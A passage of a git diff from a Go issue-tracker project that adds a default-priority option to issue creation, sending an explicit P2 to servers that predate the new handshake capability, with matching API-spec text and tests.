components: type: integer minimum: 0 maximum: 4 - description: 0 is P0/critical. Absent means the workspace default. + description: >- + 0 is P0/critical. Absent means the create default, P2 (`2`), on a + server advertising `issues.create.defaultPriority`; such a server + never reads an absent member as `0`. An older server stores P0 for + an absent member, so a client that does not see the token sends + `2` explicitly. issue_type: type: string description: >- @@ -10110,7 +10119,12 @@ components: type: integer minimum: 0 maximum: 4 - description: 0 is P0/critical. Absent means the workspace default. + description: >- + 0 is P0/critical. Absent means the create default, P2 (`2`), on a + server advertising `issues.create.defaultPriority`; such a server + never reads an absent member as `0`. An older server stores P0 for + an absent member, so a client that does not see the token sends + `2` explicitly. assignee: type: string maxLength: 255 @@ -12047,7 +12061,12 @@ components: type: integer minimum: 0 maximum: 4 - description: 0 is P0/critical. Absent means the workspace default. + description: >- + 0 is P0/critical. Absent means the create default, P2 (`2`), on a + server advertising `issues.create.defaultPriority`; such a server + never reads an absent member as `0`. An older server stores P0 for + an absent member, so a client that does not see the token sends + `2` explicitly. assignee: type: string maxLength: 255 diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index a2b9d9346..0a733fb39 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -99,6 +99,7 @@ go_test( "completeness_test.go", "composition_test.go", "counts_test.go", + "create_priority_test.go", "credential_source_test.go", "credential_test.go", "dial_test.go", diff --git a/internal/httpclient/batchapplier.go b/internal/httpclient/batchapplier.go index b39c12986..1fd04b1be 100644 --- a/internal/httpclient/batchapplier.go +++ b/internal/httpclient/batchapplier.go @@ -93,6 +93,15 @@ func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBat if err != nil { return issueops.ApplyBatchResult{}, err } + var priorities []**int + for i := range body.Items { + if create := body.Items[i].Create; create != nil { + priorities = append(priorities, &create.Priority) + } + } + if err := b.store.pinCreateDefaultPriority(ctx, priorities...); err != nil { + return issueops.ApplyBatchResult{}, err + } resp, err := b.wire.ApplyBatch(ctx, body) if err != nil { return issueops.ApplyBatchResult{}, applyBatchRefusal(err) @@ -264,11 +273,12 @@ func applyCreateItemBody(item *issueops.CreateItem, actor string) (*apigen.Apply return nil, err } - // Priority is sent ALWAYS, createBody's reason: 0 is P0 and a real request, - // so an absent member — which the server reads as the workspace default — - // would silently reprioritize every critical issue a plan creates. - priority := issue.Priority - out := &apigen.ApplyCreateItem{Title: issue.Title, Priority: &priority} + // Priority is sent whenever the item names one (see wirePriority). + priority, err := wirePriority(issue.Priority, item.DefaultPriority) + if err != nil { + return nil, err + } + out := &apigen.ApplyCreateItem{Title: issue.Title, Priority: priority} setItemString(&out.Key, item.Key) setItemString(&out.Id, issue.ID) diff --git a/internal/httpclient/batchcreator.go b/internal/httpclient/batchcreator.go index ea9b1f7be..7420aaac3 100644 --- a/internal/httpclient/batchcreator.go +++ b/internal/httpclient/batchcreator.go @@ -163,6 +163,13 @@ func (b *httpBatchCreator) CreateBatch(ctx context.Context, req issueops.CreateB } items = append(items, wireItem) } + priorities := make([]**int, len(items)) + for i := range items { + priorities[i] = &items[i].Priority + } + if err := b.store.pinCreateDefaultPriority(ctx, priorities...); err != nil { + return issueops.CreateBatchResult{}, err + } res, err := b.wire.BatchCreateIssues(ctx, apigen.BatchCreateRequest{Actor: req.Actor, Items: items}) if err != nil { @@ -202,12 +209,13 @@ func batchCreateItem(index int, item issueops.BatchCreateItem, actor string) (ap return apigen.BatchCreateItem{}, err } - // Priority is sent ALWAYS, unlike the five optional strings: 0 is P0 and a - // real request, so an absent member — which the server reads as "the - // workspace default" — would silently reprioritize every critical issue in a - // plan. The pointer addresses a local copy, never the caller's field. - priority := item.Issue.Priority - wireItem := apigen.BatchCreateItem{Title: item.Issue.Title, Priority: &priority} + // Priority is sent whenever the item names one, unlike the five optional + // strings (see wirePriority). + priority, err := wirePriority(item.Issue.Priority, item.DefaultPriority) + if err != nil { + return apigen.BatchCreateItem{}, err + } + wireItem := apigen.BatchCreateItem{Title: item.Issue.Title, Priority: priority} setItemString(&wireItem.Description, item.Issue.Description) setItemString(&wireItem.Design, item.Issue.Design) setItemString(&wireItem.AcceptanceCriteria, item.Issue.AcceptanceCriteria) diff --git a/internal/httpclient/bulk_roles_test.go b/internal/httpclient/bulk_roles_test.go index 5bf7a6022..50e48381d 100644 --- a/internal/httpclient/bulk_roles_test.go +++ b/internal/httpclient/bulk_roles_test.go @@ -736,7 +736,9 @@ func TestBatchCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { // dropped it. got := populatableFields(reflect.TypeOf(issueops.BatchCreateItem{})) sort.Strings(got) - want := []string{"Dependencies", "Issue"} + // DefaultPriority is carried as the ABSENCE of the item's `priority` + // member (wirePriority), pinned by TestBatchCreateLeavesPriorityAbsentForTheDefault. + want := []string{"DefaultPriority", "Dependencies", "Issue"} if !reflect.DeepEqual(got, want) { t.Errorf("BatchCreateItem carries %v, want %v.\n"+ "A new member reaches no wire member and no refusal: carry it in batchCreateItem, or refuse it with a ledger row.", got, want) diff --git a/internal/httpclient/create_priority_test.go b/internal/httpclient/create_priority_test.go new file mode 100644 index 000000000..796385f7b --- /dev/null +++ b/internal/httpclient/create_priority_test.go @@ -0,0 +1,215 @@ +package httpclient + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestBatchCreateLeavesPriorityAbsentForTheDefault pins wirePriority on all +// three create bodies: a request that asks for the default priority sends NO +// `priority` member, so the server's role applies the default — the one place +// it lives — and a request naming 0 sends `0`, because P0 is a real request. +// Asking for the default while naming a priority is refused before the dial, +// the role's own ErrValidation, rather than silently dropping one of the two. +func TestBatchCreateLeavesPriorityAbsentForTheDefault(t *testing.T) { + issue := func(priority int) *types.Issue { + return &types.Issue{Title: "t", IssueType: types.TypeTask, Priority: priority} + } + type encoded struct { + priority *int + err error + } + shapes := map[string]func(priority int, useDefault bool) encoded{ + "createIssue": func(priority int, useDefault bool) encoded { + body, err := createBody(issueops.CreateRequest{Actor: "a", Issue: issue(priority), DefaultPriority: useDefault}) + return encoded{body.Priority, err} + }, + "batchCreateIssues": func(priority int, useDefault bool) encoded { + item, err := batchCreateItem(0, issueops.BatchCreateItem{Issue: issue(priority), DefaultPriority: useDefault}, "a") + return encoded{item.Priority, err} + }, + "applyBatch create item": func(priority int, useDefault bool) encoded { + item, err := applyCreateItemBody(&issueops.CreateItem{Issue: issue(priority), DefaultPriority: useDefault}, "a") + if err != nil { + return encoded{nil, err} + } + return encoded{item.Priority, nil} + }, + } + for name, encode := range shapes { + t.Run(name, func(t *testing.T) { + if got := encode(0, true); got.err != nil || got.priority != nil { + t.Errorf("DefaultPriority: priority member = %v, err = %v; want the member absent", got.priority, got.err) + } + if got := encode(0, false); got.err != nil || got.priority == nil || *got.priority != 0 { + t.Errorf("priority 0: priority member = %v, err = %v; want an explicit 0", got.priority, got.err) + } + if got := encode(3, false); got.err != nil || got.priority == nil || *got.priority != 3 { + t.Errorf("priority 3: priority member = %v, err = %v; want 3", got.priority, got.err) + } + if got := encode(3, true); !errors.Is(got.err, issueops.ErrValidation) { + t.Errorf("DefaultPriority with priority 3: err = %v, want ErrValidation", got.err) + } + }) + } +} + +// createPriorityRoles drives one create through each of the three create roles +// and reports the `priority` member that role put on the wire (nil when it is +// absent), or the role's own error. +func createPriorityRoles() map[string]func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + issue := func(priority int) *types.Issue { + return &types.Issue{Title: "t", IssueType: types.TypeTask, Priority: priority} + } + return map[string]func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error){ + "Lifecycle.Create": func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + lifecycle, err := s.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "a", Issue: issue(priority), DefaultPriority: useDefault, + }); err != nil { + return nil, err + } + return w.lastCreate.Priority, nil + }, + "BatchCreator.CreateBatch": func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + creator, err := s.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + if _, err := creator.CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "a", Items: []issueops.BatchCreateItem{{Issue: issue(priority), DefaultPriority: useDefault}}, + }); err != nil { + return nil, err + } + return w.lastBatchCreate.Items[0].Priority, nil + }, + "BatchApplier.ApplyBatch": func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + applier, err := s.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + if _, err := applier.ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "a", Items: []issueops.ApplyItem{{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: issue(priority), DefaultPriority: useDefault}, + }}, + }); err != nil { + return nil, err + } + return w.lastApply.Items[0].Create.Priority, nil + }, + } +} + +// showPriority renders a wire `priority` member for a comparison: its value, +// or "absent". +func showPriority(p *int) any { + if p == nil { + return "absent" + } + return *p +} + +// TestCreateSendsTheDefaultPriorityToAServerThatPredatesIt is a NEW client +// against an OLD server, on all three create roles. A handshake without +// issues.create.defaultPriority is a server that reads an absent `priority` as +// 0 and would store P0 (critical) for every create that asked for the +// default, so against it the role sends issueops.DefaultCreatePriority (2) +// explicitly. Against a server that advertises the token the member stays +// absent and the server's role applies the default. An explicit 0 is sent as 0 +// to both. +func TestCreateSendsTheDefaultPriorityToAServerThatPredatesIt(t *testing.T) { + for name, run := range createPriorityRoles() { + for _, server := range []struct { + name string + caps []string + wantDefault any + }{ + {name: "old server", caps: nil, wantDefault: issueops.DefaultCreatePriority}, + {name: "current server", caps: []string{wire.CapIssuesCreateDefaultPriority}, wantDefault: "absent"}, + } { + t.Run(name+"/"+server.name, func(t *testing.T) { + store := func(w *stubWire) *Store { + return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: server.caps}) + } + w := &stubWire{} + sent, err := run(t, store(w), w, 0, true) + if err != nil { + t.Fatalf("DefaultPriority: %v", err) + } + if got := showPriority(sent); got != server.wantDefault { + t.Errorf("DefaultPriority: sent priority %v, want %v", got, server.wantDefault) + } + w = &stubWire{} + sent, err = run(t, store(w), w, 0, false) + if err != nil { + t.Fatalf("explicit 0: %v", err) + } + if got := showPriority(sent); got != 0 { + t.Errorf("explicit 0: sent priority %v, want 0", got) + } + }) + } + } +} + +// handshakeWire is a stubWire whose handshake answers with res and err, so a +// test can hand the store a handshake that says nothing, or one that fails. +type handshakeWire struct { + *stubWire + res *apigen.ContextResponse + err error +} + +func (w handshakeWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + return w.res, w.err +} + +// TestCreateDefaultPriorityWithoutAUsableHandshake covers the handshakes that +// cannot say whether the server applies the default, on all three create +// roles. One that answers no context has no token to read, so the role sends +// issueops.DefaultCreatePriority explicitly, as it does to an older server. One +// that fails fails the create before it is dialed, rather than guessing. A +// request that names its priority never asks, so a failing handshake does not +// stop it. +func TestCreateDefaultPriorityWithoutAUsableHandshake(t *testing.T) { + boom := errors.New("handshake failed") + for name, run := range createPriorityRoles() { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + sent, err := run(t, New(testTarget(t), handshakeWire{stubWire: w}, nil), w, 0, true) + if err != nil { + t.Fatalf("no context, DefaultPriority: %v", err) + } + if got := showPriority(sent); got != issueops.DefaultCreatePriority { + t.Errorf("no context, DefaultPriority: sent priority %v, want %v", got, issueops.DefaultCreatePriority) + } + + w = &stubWire{} + if _, err := run(t, New(testTarget(t), handshakeWire{stubWire: w, err: boom}, nil), w, 0, true); !errors.Is(err, boom) { + t.Errorf("failed handshake, DefaultPriority: err = %v, want the handshake's error", err) + } + if len(w.calls) != 0 { + t.Errorf("failed handshake, DefaultPriority: dialed %v, want nothing", w.calls) + } + + w = &stubWire{} + sent, err = run(t, New(testTarget(t), handshakeWire{stubWire: w, err: boom}, nil), w, 0, false) + if err != nil { + t.Fatalf("failed handshake, explicit 0: %v", err) + } + if got := showPriority(sent); got != 0 { + t.Errorf("failed handshake, explicit 0: sent priority %v, want 0", got) + } + }) + } +} diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 409be20d3..4475293a2 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -63,6 +63,9 @@ func (l *httpLifecycle) Create(ctx context.Context, req issueops.CreateRequest) if err != nil { return issueops.CreateResult{}, err } + if err := l.store.pinCreateDefaultPriority(ctx, &body.Priority); err != nil { + return issueops.CreateResult{}, err + } issue, err := l.wire.CreateIssue(ctx, body) if err != nil { @@ -112,11 +115,11 @@ func createBody(req issueops.CreateRequest) (apigen.CreateIssueRequest, error) { } issue := req.Issue - // Priority is sent ALWAYS, for batchCreateIssues' reason: 0 is P0 and a real - // request, so an absent member — which the server reads as the workspace - // default — would silently reprioritize every critical issue a plan creates. - priority := issue.Priority - body := apigen.CreateIssueRequest{Actor: req.Actor, Title: issue.Title, Priority: &priority} + priority, err := wirePriority(issue.Priority, req.DefaultPriority) + if err != nil { + return apigen.CreateIssueRequest{}, err + } + body := apigen.CreateIssueRequest{Actor: req.Actor, Title: issue.Title, Priority: priority} setItemString(&body.Id, issue.ID) setItemString(&body.Description, issue.Description) @@ -961,3 +964,64 @@ func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session strin _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, true)) return err } + +// wirePriority projects a create's priority onto the wire's optional member. +// +// It is sent WHENEVER THE CALLER NAMED ONE, zero included: 0 is P0 and a real +// request, so an absent member would silently reprioritize critical work. It +// is absent only when the request asks for the default (DefaultPriority), and +// then the server's role applies the default — the one place it lives — rather +// than this client spelling the number, PROVIDED the server says it does: +// pinCreateDefaultPriority fills the member in for one that does not. The +// pointer addresses a local copy, never the caller's field. +func wirePriority(priority int, useDefault bool) (*int, error) { + if err := storageops.ValidateCreatePriority(priority, useDefault); err != nil { + return nil, err + } + if useDefault { + return nil, nil + } + return &priority, nil +} + +// pinCreateDefaultPriority decides, before the dial and from the cached +// handshake, whether the absent priorities among the given wire members may +// stay absent. A server advertising wire.CapIssuesCreateDefaultPriority stores +// the create default for an absent member; an older one reads absent as 0 and +// would store P0 (critical) for every create that asked for the default. So +// against an older server each absent member is set to +// issueops.DefaultCreatePriority explicitly. A request naming every priority +// costs no handshake. +// +// The decision assumes the create reaches the build that answered the +// handshake. The handshake is fetched once per Store and cached for its life +// (one command, in cmd/bd), so a create that lands on an older build — a +// server rolled back under a live Store, or mixed builds behind one URL — +// still goes out with the member absent, and that server stores P0 with no +// error on either side. A capability that gates a member an older server +// refuses is loud on a stale handshake (the `has_spawner` that +// refuseUnservedDepAddLineage gates draws a 400); this one gates the ABSENCE +// of a member every server already reads, so nothing refuses it. +func (s *Store) pinCreateDefaultPriority(ctx context.Context, priorities ...**int) error { + var absent []**int + for _, p := range priorities { + if *p == nil { + absent = append(absent, p) + } + } + if len(absent) == 0 { + return nil + } + snap, err := s.snapshot(ctx) + if err != nil { + return err + } + if snap != nil && slices.Contains(snap.Capabilities, wire.CapIssuesCreateDefaultPriority) { + return nil + } + for _, p := range absent { + priority := issueops.DefaultCreatePriority + *p = &priority + } + return nil +} diff --git a/internal/httpclient/lifecycle_create_test.go b/internal/httpclient/lifecycle_create_test.go index a67b50693..462d291ee 100644 --- a/internal/httpclient/lifecycle_create_test.go +++ b/internal/httpclient/lifecycle_create_test.go @@ -239,7 +239,7 @@ func TestCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { got := populatableFields(reflect.TypeOf(issueops.CreateRequest{})) sort.Strings(got) want := []string{ - "Actor", "Dependencies", "ForceIDPrefix", "IDPrefix", + "Actor", "DefaultPriority", "Dependencies", "ForceIDPrefix", "IDPrefix", "InheritLabelsFromParent", "Issue", "ParentID", "WaitsFor", } if !reflect.DeepEqual(got, want) { diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index e7aa98872..a168048a7 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -269,6 +269,10 @@ func TestServedBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, t.Context(), newServedBatchApplyFixture(t, "hbadot")) } +func TestServedBatchApplyAppliesTheDefaultPriority(t *testing.T) { + conformance.RunBatchApplyAppliesTheDefaultPriority(t, t.Context(), newServedBatchApplyFixture(t, "hbaprio")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_bulk_test.go b/internal/httpclient/served_bulk_test.go index 03bfb4870..f92eb6454 100644 --- a/internal/httpclient/served_bulk_test.go +++ b/internal/httpclient/served_bulk_test.go @@ -628,6 +628,10 @@ func TestServedBatchCreatorEchoesSubSecondTimestamps(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, t.Context(), newServedBatchCreatorFixture(t, "hb12")) } +func TestServedBatchCreatorAppliesTheDefaultPriority(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, t.Context(), newServedBatchCreatorFixture(t, "hbprio")) +} + // The last TWO items of the wire's item vocabulary, both on the EPHEMERAL half // of it and both parked for the reason the eight above are: apigen.BatchCreateItem // carries eight content members and no id and no wisp flag, so an item cannot diff --git a/internal/httpclient/served_lifecycle_create_test.go b/internal/httpclient/served_lifecycle_create_test.go index 6f152753f..5e954503d 100644 --- a/internal/httpclient/served_lifecycle_create_test.go +++ b/internal/httpclient/served_lifecycle_create_test.go @@ -120,6 +120,10 @@ func TestServedLifecycleCreateEchoesSubSecondTimestamps(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, t.Context(), newServedCreateFixture(t, "hlc6")) } +func TestServedLifecycleCreateAppliesTheDefaultPriority(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, t.Context(), newServedCreateFixture(t, "hlcprio")) +} + // createParkBead is the bead the create-side parks cite. It is separate from // parkBead — the write-side parks of the close/update wave — because these // retire on different events: two of them wait on the wire growing a diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index a52f81cb1..b0ed49785 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -221,6 +221,15 @@ const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" // (bd-jkp9v3). const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" +// CapIssuesCreateDefaultPriority is the behavior capability announcing that +// the server stores the create default priority for an ABSENT `priority` +// member on issues.create, issues.batchCreate and issues.batchApply create +// items, spelled exactly as httpapi's constant of the same name. The create +// roles read it from the cached handshake before the dial: a server without it +// reads an absent priority as P0, so against it the client sends +// issueops.DefaultCreatePriority explicitly (pinCreateDefaultPriority). +const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -361,7 +370,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, - CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 01a0ea9cf..8e5abb1dd 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -196,11 +196,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if !slices.Equal(behaviorCapabilities, []string{ httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, - httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, + httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, httpapi.CapIssuesCreateDefaultPriority, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ - "issues.batchApply.depAddLineage and issues.update.allowTemplate tokens", behaviorCapabilities) + "issues.batchApply.depAddLineage and issues.update.allowTemplate and issues.create.defaultPriority tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 69f3514cd..33c2fb62c 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -78,10 +78,19 @@ type carriage struct { // incremental add or remove has no expression. CreateRequest.Issue is the // other, and its excluded shape is a set of MEMBERS rather than a mode. partial string + // absenceOf names the member a field is carried as the ABSENCE of, when + // another field drives that member's presence. CreateRequest.DefaultPriority + // is the population: "use the default" is `priority` left out, the member + // the Issue spread otherwise drives (wirePriority). It drives no member of + // its own, so the wire -> source direction does not count it, but the + // member must still be published. + absenceOf string } func member(name string) carriage { return carriage{member: name} } +func absenceOf(name string) carriage { return carriage{absenceOf: name} } + func spread(names ...string) carriage { return carriage{spread: names} } // members lists every wire member a carriage drives, whichever way it drives @@ -164,6 +173,9 @@ func writeShapes() []writeShape { "Dependencies": member("dependencies"), "WaitsFor": member("waits_for"), "ForceIDPrefix": member("force_id_prefix"), + // DefaultPriority is the ABSENCE of `priority`: the member the + // Issue spread drives is left out (wirePriority). + "DefaultPriority": absenceOf("priority"), }, }, { @@ -512,6 +524,8 @@ func writeShapes() []writeShape { partial: "W-CreateItem.Issue", }, "MetadataRefs": member("metadata_refs"), + // The absence of `priority` (wirePriority). + "DefaultPriority": absenceOf("priority"), }, }, { @@ -652,7 +666,7 @@ func TestEveryWireExcludedWriteMemberCarriesALedgerRow(t *testing.T) { continue } ways := 0 - for _, set := range []bool{how.member != "", len(how.spread) > 0, how.routed != ""} { + for _, set := range []bool{how.member != "", len(how.spread) > 0, how.routed != "", how.absenceOf != ""} { if set { ways++ } @@ -662,6 +676,11 @@ func TestEveryWireExcludedWriteMemberCarriesALedgerRow(t *testing.T) { t.Errorf("%s.%s claims more than one of a body member, a spread and a route; it has exactly one", shape.source.Name(), name) case ways == 0: t.Errorf("%s.%s is in the carried table with neither a member nor a route", shape.source.Name(), name) + case how.absenceOf != "": + if !members[how.absenceOf] { + t.Errorf("%s.%s is carried as the absence of %q, which %s does not publish: %v", + shape.source.Name(), name, how.absenceOf, shape.body.Name(), sortedKeys(members)) + } default: for _, wireMember := range how.members() { if !members[wireMember] { diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 5d009ca38..e12080dd0 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -275,6 +275,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyAppliesTheDefaultPriority(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/batch_creator_contract_test.go b/internal/storage/dolt/batch_creator_contract_test.go index db4e6878e..bd662481f 100644 --- a/internal/storage/dolt/batch_creator_contract_test.go +++ b/internal/storage/dolt/batch_creator_contract_test.go @@ -60,6 +60,9 @@ func TestBatchCreatorContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, ctx, fixture) + }) } // newDoltBatchCreatorFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/lifecycle_create_contract_test.go b/internal/storage/dolt/lifecycle_create_contract_test.go index b8b40def1..c81919692 100644 --- a/internal/storage/dolt/lifecycle_create_contract_test.go +++ b/internal/storage/dolt/lifecycle_create_contract_test.go @@ -39,6 +39,9 @@ func TestLifecycleCreateContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newDoltLifecycleCreateFixture(t *testing.T, prefix string) (conformance.LifecycleCreateFixture, context.Context, func()) { diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 6d330a163..343c16083 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -199,6 +199,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchApplyAppliesTheDefaultPriority(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/batch_creator_contract_test.go b/internal/storage/embeddeddolt/batch_creator_contract_test.go index 8bfb53398..bfc283ab6 100644 --- a/internal/storage/embeddeddolt/batch_creator_contract_test.go +++ b/internal/storage/embeddeddolt/batch_creator_contract_test.go @@ -61,6 +61,9 @@ func TestBatchCreatorContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newEmbeddedBatchCreatorFixture(t *testing.T, te *testEnv, prefix string) conformance.BatchCreatorFixture { diff --git a/internal/storage/embeddeddolt/lifecycle_create_contract_test.go b/internal/storage/embeddeddolt/lifecycle_create_contract_test.go index 96d586b0d..d05c0ab6f 100644 --- a/internal/storage/embeddeddolt/lifecycle_create_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_create_contract_test.go @@ -40,6 +40,9 @@ func TestLifecycleCreateContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newEmbeddedLifecycleCreateFixture(t *testing.T, te *testEnv, prefix string) conformance.LifecycleCreateFixture { diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 0459110eb..0a069f57b 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -238,9 +238,10 @@ func (r *applyBatchRun) applyItem(ctx context.Context, tx *sql.Tx, index int) er // cap. Revisit it with a measurement, not with a copy of ExecuteCreateBatch. func (r *applyBatchRun) applyCreate(ctx context.Context, tx *sql.Tx, index int, item *publicops.CreateItem) error { created, tables, err := ExecuteCreate(ctx, tx, publicops.CreateRequest{ - Actor: r.plan.Actor, - Issue: item.Issue, - ForceIDPrefix: r.plan.ForceIDPrefix, + Actor: r.plan.Actor, + Issue: item.Issue, + ForceIDPrefix: r.plan.ForceIDPrefix, + DefaultPriority: item.DefaultPriority, }) if err != nil { return &publicops.ItemError{Index: index, Kind: publicops.ItemCreate, Key: item.Key, Err: err} diff --git a/internal/storage/issueops/create_batch.go b/internal/storage/issueops/create_batch.go index 4739f470d..29c660ccc 100644 --- a/internal/storage/issueops/create_batch.go +++ b/internal/storage/issueops/create_batch.go @@ -17,10 +17,11 @@ func CloneCreateBatchRequest(request publicops.CreateBatchRequest) publicops.Cre clone := request clone.Items = make([]publicops.BatchCreateItem, len(request.Items)) for i, item := range request.Items { - clone.Items[i] = publicops.BatchCreateItem{ - Issue: clonePublicIssue(item.Issue), - Dependencies: append([]publicops.CreateDependency(nil), item.Dependencies...), - } + // Start from the item itself so every scalar member (DefaultPriority + // today) survives the clone; only the reference members are deepened. + clone.Items[i] = item + clone.Items[i].Issue = clonePublicIssue(item.Issue) + clone.Items[i].Dependencies = append([]publicops.CreateDependency(nil), item.Dependencies...) } return clone } @@ -53,10 +54,11 @@ func ValidateCreateBatchRequest(request publicops.CreateBatchRequest) error { // an item through it, so no item restates CreateRequest's field rules. func CreateBatchItemRequest(request publicops.CreateBatchRequest, item publicops.BatchCreateItem) publicops.CreateRequest { return publicops.CreateRequest{ - Actor: request.Actor, - Issue: item.Issue, - Dependencies: item.Dependencies, - 